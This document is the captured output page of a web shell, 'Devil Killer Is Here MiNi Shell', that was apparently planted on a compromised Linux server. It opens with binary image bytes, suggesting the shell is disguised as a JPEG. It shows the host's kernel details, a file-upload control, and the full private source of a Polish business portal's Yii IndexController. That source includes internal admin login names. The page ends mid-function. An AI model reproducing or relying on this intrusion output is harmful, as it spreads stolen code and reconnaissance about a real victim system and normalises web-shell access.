JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/frontend/controllers/

Linux eb5096292c53 5.15.0-102-generic #112-Ubuntu SMP Tue Mar 5 16:50:32 UTC 2024 x86_64
Upload File :
Current File : //home/vmanager/www/frontend/controllers/IndexController.php

<?php
namespace frontend\controllers;

use Yii;
use yii\web\Controller;
use yii\helpers\ArrayHelper;
use yii\web\NotFoundHttpException;

/**
 * Index controller
 */
class IndexController extends Controller
{
    use \frontend\components\traits\SeoFunctions;
    
    /**
     * @inheritdoc
     */
    public function actions()
    {
        return [
            'error' => [
                'class' => '\common\components\controllers\actions\ErrorAction',
            ],
            'captcha' => [
                'class' => 'yii\captcha\CaptchaAction',
//                'fixedVerifyCode' => 'dupa123'
            ],
            'captcha-user' => [
                'class' => 'yii\captcha\CaptchaAction',
//                'fixedVerifyCode' => 'dupa321'
            ],
        ];
    }
    
    public function actionGrafikaTest()
    {
        return $this->render('images_test', [
            
        ]);
    }
    
    public function actionFiltrHtmlTest()
    {
        $htmlCode = '
        <p><strong>Miejsce: </strong>Centrum Konferencyjno-Wypoczynkowe GALION, 80-642 Gdańsk &ndash; G&oacute;rki Zachodnie, ul. Stogi 20</p>
        <p><strong>Organizator: </strong>Business Penetration &amp; Consulting</p>
        <p><strong>Strona konferencji:&nbsp; </strong><a href="http://synergia-it.pl" rel="nofollow" target="_blank" title="dupa123">http://synergia-it.pl</a></p>
        <p><strong>Informacje: </strong></p>
        <p>Wielu przedsiębiorc&oacute;w zdaje sobie sprawę z faktu, że obecnie dla utrzymania się na rynku i maksymalizacji zysk&oacute;w konieczne jest ciągłe usprawnianie działania organizacji. Trudno przy tym pominąć możliwości, jakie oferują zaawansowane rozwiązania informatyczne, o kt&oacute;rych będzie mowa na gdańskim &nbsp;spotkaniu z cyklu Synergia System&oacute;w IT.</p>
        <p>Pierwszy blok tematyczny spotkania poświęcony będzie zintegrowanym systemom usprawniającym zarządzanie przedsiębiorstwem &ndash; czyli rozwiązaniom klasy ERP takim jak: <strong>Microsoft Dynamics AX</strong> &ndash;system ERP dostępny globalnie i doceniany lokalnie, w tym r&oacute;wnież przez dziesiątki polskich przedsiębiorstw. <strong>Comarch ERP XL</strong> &ndash; najchętniej wybierany system ERP w Polsce, z ponad 3500 liczbą wdrożeń. <strong>Rekord.ERP</strong> &ndash; polskie rozwiązanie ERP stworzone przede wszystkim z myślą o sektorze produkcyjnym w tym także produkcji jednostkowej, zleceniowej jest w stanie zaspokoić potrzeby wymagających przedsiębiorstw produkcyjnych. <strong>SAGE System Zarządzania Forte</strong> &ndash; jedno z najczęściej wybieranych rozwiązań wspierających zarządzanie przedsiębiorstwem i organizacją w Polsce.</p>
        <p>Ponieważ inwestycja w zaawansowane rozwiązania IT często pociąga za sobą konieczność wymiany infrastruktury IT czy też inwestycji w nowe rozwiązania, służące do backupu danych, zaprosiliśmy na spotkanie firmę <strong>Xcomp</strong>, kt&oacute;ra przedstawi najnowsze rozwiązania <strong>backupu</strong><strong> <strong>danych i bezpieczeństwa IT</strong></strong>.<br />&nbsp;</p>
        <p>Na spotkaniu nie zabraknie też prezentacji system&oacute;w klasy MES i SCADA, usprawniających procesy technologiczne i produkcyjne.</p>
        <p>Dla uczestnik&oacute;w spotkania przewidzieliśmy <strong>bezpłatny lunch</strong> oraz <strong>imienne certyfikaty</strong> sygnowane&nbsp;przez BPC.<br /><br />Udział w spotkaniu jest <strong>bezpłatny</strong>. Zapraszamy do dokonania <a href="http://synergia-it.pl/2014-05-15/gdansk/rejestracja/" rel="nofollow" target="_blank"><strong>rejestracji</strong></a>.</p>
        <p>&nbsp;</p>
        <iframe width="560" height="315" src="https://www.youtube.com/embed/xGYn_pCa3HY" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>
        <iframe src="https://player.vimeo.com/video/341842996" width="640" height="360" frameborder="0" allow="autoplay; fullscreen" allowfullscreen></iframe>
        <p><a href="https://vimeo.com/341842996">Rachel</a> from <a href="https://vimeo.com/andrewdeyoung">Andrew DeYoung</a> on <a href="https://vimeo.com">Vimeo</a>.</p>
        <p><em><strong>BPC </strong>to grupa firm konsultingowych, kt&oacute;ra kieruje usługi doradcze do przedsiębiorstw sektora MSP oraz korporacyjnego. Wspiera zarządy oraz kadrę decyzyjną przedsiębiorstw w procesach wyboru zaawansowanych rozwiązań informatycznych. Poza działalnością doradczą BPC prowadzi szeroko zakrojone działania edukacyjne.</em></p>
        <p><em>Realizowany&nbsp; obecnie przez BPC bezpłatny program edukacyjny&nbsp; cyklu &bdquo;Synergia System&oacute;w IT: ERP + MES + SCADA&rdquo; kierowany jest do przedsiębiorstw zlokalizowanych na terenie całego kraju. W latach 2014-2015&nbsp; BPC przeszkoli ponad pięć tysięcy przedsiębiorc&oacute;w. Zaprezentuje ponad 150 rozwiązań dedykowanych polskim przedsiębiorstwom.</em></p>
        ';
        
        echo \yii\helpers\HtmlPurifier::process($htmlCode, [
            'Attr.AllowedFrameTargets' => ['_blank'],
            'Attr.AllowedRel' => ['nofollow','dofollow'],
            'HTML.SafeIframe' => true,
            'HTML.TargetNoreferrer' => false,
            'URI.SafeIframeRegexp' => '%^(http://|https://|//)(www.youtube.com/embed/|player.vimeo.com/video/)%',
        ]);
        
//        echo \frontend\components\helpers\HtmlPurifier::process($htmlCode);
//        $htmlCode = '<div><iframe src="https://www.youtube.com/embed/qpAX54hTMaE" width="250" height="200" frameborder="0" allowfullscreen="allowfullscreen"></iframe></div>'
//                . '<h1>DUPA</h1>';
//        
//        echo \yii\helpers\HtmlPurifier::process($htmlCode, [
//            'Attr.AllowedFrameTargets' => ['_blank'],
//            'Attr.AllowedRel' => ['nofollow'],
//            'HTML.SafeIframe' => true,
//            'URI.SafeIframeRegexp' => '%^https://(www.youtube.com/embed/|player.vimeo.com/video/)%',
//        ]);
        
//        echo \frontend\components\helpers\HtmlPurifier::process($htmlCode, \frontend\components\helpers\HtmlPurifier::PRESET_CUSTOM_1);
        
        exit;
        
        return $this->render('html_filter_test', [
            
        ]);
    }
    
    public function actionBaner($id)
    {
        $modelPortal = Yii::$app->params['modelPortal'];
        
        $modelBanner = \common\models\Banners::find()->where(['id_banner' => $id, 'id_portal' => $modelPortal->id_portal])->one();
        if($modelBanner === null || empty($modelBanner->url)) {
            throw new NotFoundHttpException('Not found selected banner.');
        }
        
        $this->executeActionsAfterBannerClick($modelBanner);
        
        if(!Yii::$app->request->isAjax) {
            return $this->redirect($modelBanner->url);
        } else {
            $this->layout = false;
            Yii::$app->response->format = \yii\web\Response::FORMAT_JSON;
            
            return true;
        }        
    }
    
    public function actionMailingUrl($id)
    {
        $modelPortal = Yii::$app->params['modelPortal'];
        
        $mailingUrlVisits = \common\models\MailingsUrlsVisits::find()
                ->select(['_id', 'url', 'id_portal'])
                ->where(['_id' => $id])
                ->asArray()
                ->one();
        if($mailingUrlVisits === null || $mailingUrlVisits['id_portal'] !== $modelPortal->id_portal) { 
            throw new NotFoundHttpException('Not found selected url.');
        }
        
        $ip = \common\components\helpers\IpGetter::get();
        
        $flag = Yii::$app->mongodb->getCollection(\common\models\MailingsUrlsVisits::collectionName())->update(
            ['_id' => $id],
            ['$push' => ['visits' => ['ip' => $ip, 'created_at' => new \MongoDB\BSON\UTCDateTime()]]]
        );
        
        if($mailingUrlVisits['url'] === \common\components\helpers\MailingUrlsManager::PHRASE_OF_COUNTER_LINK) {
            $response = Yii::$app->getResponse();
            $response->format = \yii\web\Response::FORMAT_RAW;
            
            $response->headers->set('Content-Type', 'image/gif');            
            if (strstr($_SERVER["HTTP_USER_AGENT"], "MSIE") === false) {
                $response->headers->set('Cache-Control', 'no-cache');
                $response->headers->set('Pragma', 'no-cache');
            } else {
                $response->headers->set('Cache-Control', 'must-revalidate, post-check=0, pre-check=0');
                $response->headers->set('Pragma', 'public');
            }
            $response->headers->set('Expires', 'Sat, 26 Jul 1979 05:00:00 GMT');
            
            $response->stream = fopen(Yii::getAlias('@frontend').'/web/images/pixel.gif', 'r');
            return $response->send();
        }
        
        return $this->redirect($mailingUrlVisits['url']);      
    }
    
    public function actionZobaczBaner($key)
    {
        $key = Yii::$app->request->get('key');
        if(empty($key)) {
            throw new NotFoundHttpException('Not found selected page.');
        }
        
        $model = \common\models\BannersReservationsVersions::getModelByCryptedKey($key);
        if(!empty($model) && $model->reservation->id_portal !== Yii::$app->params['modelPortal']->id_portal) {
            throw new NotFoundHttpException('Not found selected page.');
        }
        
        if(empty($model)) {
            $model = \common\models\BannersReservations::getModelByCryptedKey($key);
            if(!empty($model) && $model->id_portal !== Yii::$app->params['modelPortal']->id_portal) {
                throw new NotFoundHttpException('Not found selected page.');
            }
        }
        
        if(empty($model)) {
            throw new NotFoundHttpException('Not found selected page.');
        }
        
        if($model instanceof \common\models\BannersReservationsVersions) {
            $filePath = $model->getUrl();
        } elseif($model instanceof \common\models\BannersReservations) {
            $filePath = $model->getImageUrl();
        }
        
        $response = Yii::$app->getResponse();
        $response->format = \yii\web\Response::FORMAT_RAW;

        $response->headers->set('Content-Type', mime_content_type($filePath));
        if (strstr($_SERVER["HTTP_USER_AGENT"], "MSIE") === false) {
            $response->headers->set('Cache-Control', 'no-cache');
            $response->headers->set('Pragma', 'no-cache');
        } else {
            $response->headers->set('Cache-Control', 'must-revalidate, post-check=0, pre-check=0');
            $response->headers->set('Pragma', 'public');
        }
        $response->headers->set('Expires', 'Sat, 26 Jul 1979 05:00:00 GMT');

        $response->stream = fopen($filePath, 'r');
        
        return $response->send();
    }
    
    protected function executeActionsAfterBannerClick($modelBanner)
    {
        $modelPortal = Yii::$app->params['modelPortal'];
        
        if($modelBanner->status === \common\models\types\Status::ACTIVE) {
            $actualTimestamp = time();
            $bannerTimestampStart = !empty($modelBanner->date_start) ? strtotime($modelBanner->date_start) : 0;
            $bannerTimestampEnd = !empty($modelBanner->date_end) ? strtotime($modelBanner->date_end) : 0;

            $condition_1 = !empty($modelBanner->date_start) && !empty($modelBanner->date_end) && $bannerTimestampStart <= $actualTimestamp && $bannerTimestampEnd >= $actualTimestamp && ($modelBanner->views_limit === null || $modelBanner->views_limit > 0);
            $condition_2 = !empty($modelBanner->date_start) && empty($modelBanner->date_end) && $bannerTimestampStart <= $actualTimestamp && ($modelBanner->views_limit === null || $modelBanner->views_limit > 0);
            $condition_3 = empty($modelBanner->date_start) && !empty($modelBanner->date_end) && $bannerTimestampEnd >= $actualTimestamp && ($modelBanner->views_limit === null || $modelBanner->views_limit > 0);
            $condition_4 = empty($modelBanner->date_start) && empty($modelBanner->date_end) && ($modelBanner->views_limit === null || $modelBanner->views_limit > 0);

            if($condition_1 || $condition_2 || $condition_3 || $condition_4) {
                //zaliczamy kliknięcie do logów
                $ip = \common\components\helpers\IpGetter::get();

                $modelBannerVisit = new \common\models\BannersVisits();
                $modelBannerVisit->id_banner = $modelBanner->id_banner;
                $modelBannerVisit->id_portal = $modelPortal->id_portal;
                $modelBannerVisit->ip = $ip;
                
                if($modelBannerVisit->validate(['ip'])) {
                    $modelBannerVisit->save(false);
                }
            }
        }
        
        //aktualizujemy cache banerów, jeśli baner posiada jakieś limity kliknięć
        //@todo ustalić, czy views_limit ma być dekrementowane w momencie wyświetlenia czy kliknięcia
        if(is_numeric($modelBanner->views_limit)) {
            \frontend\components\BannersManager::refreshCacheAfterClick($modelBanner->id_banner, $modelBanner->location);
            
            if($modelBanner->status === \common\models\types\Status::ACTIVE) {
                $modelBanner->decrementViewsLimit();
            }
        }
    }

    public function actionIndex()
    {        
        $modelPortal = Yii::$app->params['modelPortal'];
        $boxes = $modelPortal->getSettingsKey('homepage_boxes');        
        if(!empty($boxes)) {            
            foreach($boxes as $key => $box) {
                if(intval($box['position']) === 0) {
                    unset($boxes[$key]);
                }
            }
            ArrayHelper::multisort($boxes, ['position'], [SORT_ASC]); 
        }        
        
        $this->setSeoMetadata('main_page', [
             'title' => [],
             'keywords' => [],
             'description' => []
        ]);

        return $this->render('index', ['boxes' => $boxes]);
    }
    
    public function actionRejestracja()
    {
        $session = Yii::$app->session;

        $modelPortal = Yii::$app->params['modelPortal'];
        $modelsRelatedPortals = !empty($modelPortal->id_parent_portal) ? \common\models\Portals::find()->where(['id_parent_portal' => $modelPortal->id_parent_portal])->andWhere(['not', ['id_portal' => $modelPortal->id_portal]])->indexBy('id_portal')->all() : [];
        
        $modelForm = new \frontend\models\SignupForm(['idsRelatedPortals' => array_keys($modelsRelatedPortals)]);
        $modelForm->id_package = \common\models\PresentationsPackages::PACKAGE_STARTER;
        $modelForm->id_portal = $modelPortal->id_portal;
        if(!empty($modelsRelatedPortals)) {
            $modelForm->idsRelatedPortals = array_keys($modelsRelatedPortals); //lista dostępnych portali pokrewnych
            $modelForm->ids_related_portals = array_keys($modelsRelatedPortals); //lista wybranych portali pokrewnych
        }
        $modelForm->company_id_country = 'PL';
        
        $outputParams = [
            'modelForm' => $modelForm,
            'modelsRelatedPortals' => $modelsRelatedPortals
        ];
        
        if (Yii::$app->request->isAjax) {
            $postData = Yii::$app->request->post();
            unset($postData['SignupForm']['captcha']);
            if($modelForm->load($postData)) {
                Yii::$app->response->format = \yii\web\Response::FORMAT_JSON;
                return \yii\bootstrap\ActiveForm::validate($modelForm, ['ids_related_portals', 'login', 'company_id_country', 'invoicing_data_company_id_country', 'company_tags', 'company_business_sectors']);
            }
        }
        
        if(Yii::$app->request->getIsPost()) { 
            if(!$modelForm->load(Yii::$app->request->post())) {
                Yii::$app->session->addFlash('error', Yii::t('frontend', 'Wystąpił błąd podczas przesyłania danych.'));
                return $this->render('registration', $outputParams);
            }            
            $modelForm->loadLogoFile();
            if(!$modelForm->validate()) {
                Yii::$app->session->addFlash('error', Yii::t('frontend', 'Formularz zawiera błędy.'));
                $modelForm->fileLogo = null;
                return $this->render('registration', $outputParams);
            }  
            
            $smtpSettings = $modelPortal->getSettingsKey('smtp_settings');
            if(empty($smtpSettings)) {
                Yii::$app->session->addFlash('error', Yii::t('frontend', 'Błąd podczas zapisu.'));
                return $this->render('registration', $outputParams);
            }
            
            list($modelUserActivation, $idCompany, $idUser) = $modelForm->create();
            if($modelUserActivation === false) {
                Yii::$app->session->addFlash('error', Yii::t('frontend', 'Błąd podczas zapisu.'));
                return $this->render('registration', $outputParams);
            }
            
            //wysyłamy emaila z linkiem (###MAIL_1###)  
            $mailer = Yii::$app->mailer;
            $mailer->htmlLayout = 'layouts/main-html';      
            $mailer->textLayout = 'layouts/main-text';   
            $mailer->transport = (new \Swift_SmtpTransport($smtpSettings['host'], $smtpSettings['port'], $smtpSettings['encryption']))
                    ->setUsername($smtpSettings['username'])
                    ->setPassword($smtpSettings['password']);
            $flag = $mailer->compose(
                    [
                        'html' => 'user-activation-html',
                        'text' => 'user-activation-text'
                    ],
                    [
                        'modelUserActivation' => $modelUserActivation,
                        'domain' => $modelPortal->domain,
                    ]
                )
                ->setFrom([$smtpSettings['username'] => $modelPortal->domain.' - system vManager'])
                ->setTo($modelForm->email)
                ->setSubject(Yii::t('common-mails', 'Aktywacja konta w serwisie {domain} (vManager)', ['domain' => $modelPortal->domain]))
                ->send();

            $modelCompany = \common\models\Companies::find()                
                ->with([
                    'country',
                    'contactData', 
                    'invoicingData' => function($q) {
                        $q->orderBy('or_main DESC, id_invoicing_data ASC');
                    }, 
                    'presentations', 
                    'presentations.tags', 
                    'presentations.package', 
                    'presentations.portal' => function($q) {
                        $q->select(['id_portal', 'domain', 'id_user', 'email']);
                    },
                    'businessSectors'
                ])
                ->where([
                    'status' => \common\models\types\Status::INACTIVE, 
                    'id_company' => $idCompany
                ])
                ->one();    
            
            if(!empty($modelCompany->presentations) && !empty($smtpSettings)) {  
                $emails = [];

                $adminsEmails = \common\models\Users::find()
                        ->select(['users_contact_data.data_value'])
                        ->join('INNER JOIN', 'users_contact_data', 'users.id_user = users_contact_data.id_user')
                        ->where([
                            'users.login' => ['vm_lukasz', 'vm_marta'],
                            'users_contact_data.data_type' => \common\models\types\ContactDataType::EMAIL, 
                            'users_contact_data.required' => 1
                        ])->column();
                if(!empty($adminsEmails)) {
                    $emails = array_unique(array_merge($emails, $adminsEmails));
                }

                $idsOperators = [];
                foreach($modelCompany->presentations as $modelCompanyPresentation) {
                    if(!empty($modelCompanyPresentation->portal->id_user)) {
                        $idsOperators[$modelCompanyPresentation->portal->id_user] = $modelCompanyPresentation->portal->id_user;
                    }
                    if(!empty($modelCompanyPresentation->portal->email)) {
                        $emails[] = $modelCompanyPresentation->portal->email;
                    }
                }
                if(!empty($idsOperators)) {
                    $operatorsEmails = \common\models\UsersContactData::find()
                        ->select(['data_value'])
                        ->where([
                            'id_user' => $idsOperators,
                            'data_type' => \common\models\types\ContactDataType::EMAIL, 
                            'required' => 1
                        ])->column();
                    $emails = array_unique(array_merge($emails, $operatorsEmails));
                }

                $emails = array_unique($emails);

                $modelUser = \common\models\Users::findOne($idUser);
                
                //wysyłamy email z informacją o nowo zarejestrowanej firmie z prezentacją na email redakcji, Łukasza, użytkownika oraz
                //opiekuna portalu (###MAIL_11###) 
                $mailer = Yii::$app->mailer;
                $mailer->htmlLayout = 'layouts/main-html';      
                $mailer->textLayout = 'layouts/main-text';
                $mailer->transport = (new \Swift_SmtpTransport($smtpSettings['host'], $smtpSettings['port'], $smtpSettings['encryption']))
                        ->setUsername($smtpSettings['username'])
                        ->setPassword($smtpSettings['password']);            
                $message = $mailer->compose(
                        [
                            'html' => 'register-user-html',
                            'text' => 'register-user-text'
                        ],
                        [
                            'domain' => $modelPortal->domain,
                            'userEmail' => $modelForm->email,
                            'userPhone' => $modelForm->mobile_phone,
                            'modelUser' => $modelUser,
                            'modelCompany' => $modelCompany,
                            'modelsPresentations' => $modelCompany->presentations,
                            'clientIP' => Yii::$app->request->getUserIP()
                        ]
                    )
                    ->setFrom([$smtpSettings['username'] => $modelPortal->domain.' - system vManager']);

                $message->setSubject(Yii::t('common-mails', 'Potwierdzenie rejestracji firmy w katalogu firm portalu {domain}', ['domain' => $modelPortal->domain]));
                $flag = $message->setTo($modelForm->email)->send();

                $message->setSubject(Yii::t('common-mails', 'Nowa firma w {domain} ({companyName}, {package}, {userName})', [
                    'domain' => $modelPortal->domain, 
                    'companyName' => $modelCompany->name,
                    'package' => $modelCompany->presentations[0]->package->name,
                    'userName' => $modelUser->forename.' '.$modelUser->surname
                ]));
                $flag = $flag && $message->setTo($emails)->send();            
            }
            
            $session->addFlash('confirm', Yii::t('frontend', 'Rejestracja przebiegła pomyślnie. Link aktywacyjny został wysłany na podany podczas rejestracji adres e-mail.'));
            $outputParams['modelForm'] = new \frontend\models\SignupForm(['idsRelatedPortals' => array_keys($modelsRelatedPortals)]);
            return $this->redirect(['index/rejestracja']);
        }
        
        $this->setSeoMetadata('add_company', [
             'title' => [$modelPortal->domain], //'{domena}'
             'keywords' => [$modelPortal->domain], //'{domena}'
             'description' => [$modelPortal->domain] //'{domena}'
        ]);   
        
        return $this->render('registration', $outputParams);
    }  
    
    public function actionRejestracjaUzytkownika()
    {
        $session = Yii::$app->session;

        $modelPortal = Yii::$app->params['modelPortal'];
        
        $modelForm = new \frontend\models\UserSignupForm();
        $modelForm->or_company = 0;
        $modelForm->id_country = 'PL';
        
        $registrationReferrerUrl = Yii::$app->request->get('referrer_url');
        if(!empty($registrationReferrerUrl)) {
            Yii::$app->session->set('registrationReferrerUrl', $registrationReferrerUrl);
            $modelForm->setRegistrationReferrerUrl($registrationReferrerUrl);
        } else {
            $modelForm->setRegistrationReferrerUrl(Yii::$app->session->get('registrationReferrerUrl'));
        }
        
        $outputParams = [
            'modelForm' => $modelForm,
        ];
        
        
        if (Yii::$app->request->isAjax) {
            $postData = Yii::$app->request->post();
            unset($postData['UserSignupForm']['captcha']);
            if($modelForm->load($postData)) {
                Yii::$app->response->format = \yii\web\Response::FORMAT_JSON;
                return \yii\bootstrap\ActiveForm::validate($modelForm, ['login', 'id_country']);
            }
        }
        
        if(Yii::$app->request->getIsPost()) { 
            if(!$modelForm->load(Yii::$app->request->post())) {
                Yii::$app->session->addFlash('error', Yii::t('frontend', 'Wystąpił błąd podczas przesyłania danych.'));
                return $this->render('registration_user', $outputParams);
            }
            $modelForm->loadAvatarFile();
            $modelForm->loadLogoFile();
            if(!$modelForm->validate()) {
                Yii::$app->session->addFlash('error', Yii::t('frontend', 'Formularz zawiera błędy.'));
                return $this->render('registration_user', $outputParams);
            }

            $smtpSettings = $modelPortal->getSettingsKey('smtp_settings');
            if(empty($smtpSettings)) {
                Yii::$app->session->addFlash('error', Yii::t('frontend', 'Błąd podczas zapisu.'));
                return $this->render('registration_user', $outputParams);
            }
            
            $modelUserActivation = $modelForm->create();
            if($modelUserActivation === false) {
                Yii::$app->session->addFlash('error', Yii::t('frontend', 'Błąd podczas zapisu.'));
                return $this->render('registration_user', $outputParams);
            }
                        
            //wysyłamy emaila z linkiem (###MAIL_1###)  
            $mailer = Yii::$app->mailer;
            $mailer->htmlLayout = 'layouts/main-html';      
            $mailer->textLayout = 'layouts/main-text'; 
            $mailer->transport = (new \Swift_SmtpTransport($smtpSettings['host'], $smtpSettings['port'], $smtpSettings['encryption']))
                    ->setUsername($smtpSettings['username'])
                    ->setPassword($smtpSettings['password']);
            $flag = $mailer->compose(
                    [
                        'html' => 'user-activation-html',
                        'text' => 'user-activation-text'
                    ],
                    [
                        'modelUserActivation' => $modelUserActivation,
                        'domain' => $modelPortal->domain,
                    ]
                )
                ->setFrom([$smtpSettings['username'] => $modelPortal->domain.' - system vManager'])
                ->setTo($modelForm->email)
                ->setSubject(Yii::t('common-mails', 'Aktywacja konta w serwisie {domain} (vManager)', ['domain' => $modelPortal->domain]))
                ->send();
            
            $session->addFlash('confirm', Yii::t('frontend', 'Rejestracja przebiegła pomyślnie. Link aktywacyjny został wysłany na podany podczas rejestracji adres e-mail.'));
            $outputParams['modelForm'] = new \frontend\models\UserSignupForm();
            if(Yii::$app->session->has('registrationReferrerUrl')) {
                Yii::$app->session->remove('registrationReferrerUrl');
            }
            return $this->redirect(['index/rejestracja-uzytkownika']);
        }

        $this->setSeoMetadata('register_user', [
             'title' => [$modelPortal->domain], //'{domena}'
             'keywords' => [$modelPortal->domain], //'{domena}'
             'description' => [$modelPortal->domain] //'{domena}'
        ]);       
        
        return $this->render('registration_user', $outputParams);
    }  
    
    public function actionZalozKonto()
    {
        return $this->render('account_create');
    }
    
    public function actionAktywacja($uuid)
    {        
        $modelPortal = Yii::$app->params['modelPortal'];
        
        $modelUserActivation = \common\models\UsersActivations::find()->where(['key' => $uuid])->one();
        if($modelUserActivation === null) {
            Yii::$app->session->addFlash('error', Yii::t('frontend', 'Nieprawidłowy klucz aktywacji.'));
            return $this->render('account_activation', []);
        }

        $urlForRedirect = !empty($modelUserActivation->forward_url) ? $modelUserActivation->forward_url : \yii\helpers\Url::to(['index/index']);
        
        $registrationSource = \common\models\UsersActivations::getRegistrationSource($modelUserActivation->forward_url);
        
        $modelUser = \common\models\Users::find()
                ->with(['contactData'])
                ->where([
                    'id_user' => $modelUserActivation->id_user, 
                    'status' => \common\models\types\Status::INACTIVE
                ])->one();
        if($modelUser === null) {
            Yii::$app->session->addFlash('error', Yii::t('frontend', 'Nieprawidłowy klucz aktywacji.'));
            $modelUserActivation->delete();
            return $this->render('account_activation', []);
        }
        
        $transaction = Yii::$app->db->beginTransaction();
        
        $modelUser->status = \common\models\types\Status::ACTIVE;
        if(!$modelUser->save(false)) {
            $transaction->rollBack();
            Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.'));
            return $this->render('account_activation', []);
        }
        
        $modelCompany = $modelUser->getCompanies()                
//                ->with([
//                    'country',
//                    'contactData', 
//                    'invoicingData', 
//                    'presentations', 
//                    'presentations.tags', 
//                    'presentations.package', 
//                    'presentations.portal' => function($q) {
//                        $q->select(['id_portal', 'domain', 'id_user', 'email']);
//                    },
//                    'businessSectors'
//                ])
                ->where(['status' => \common\models\types\Status::INACTIVE])
                ->one();        
        if(!empty($modelCompany)) {           
            $modelCompany->status = \common\models\types\Status::ACTIVE;
            if(!$modelCompany->save(false)) {
                $transaction->rollBack();
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.'));
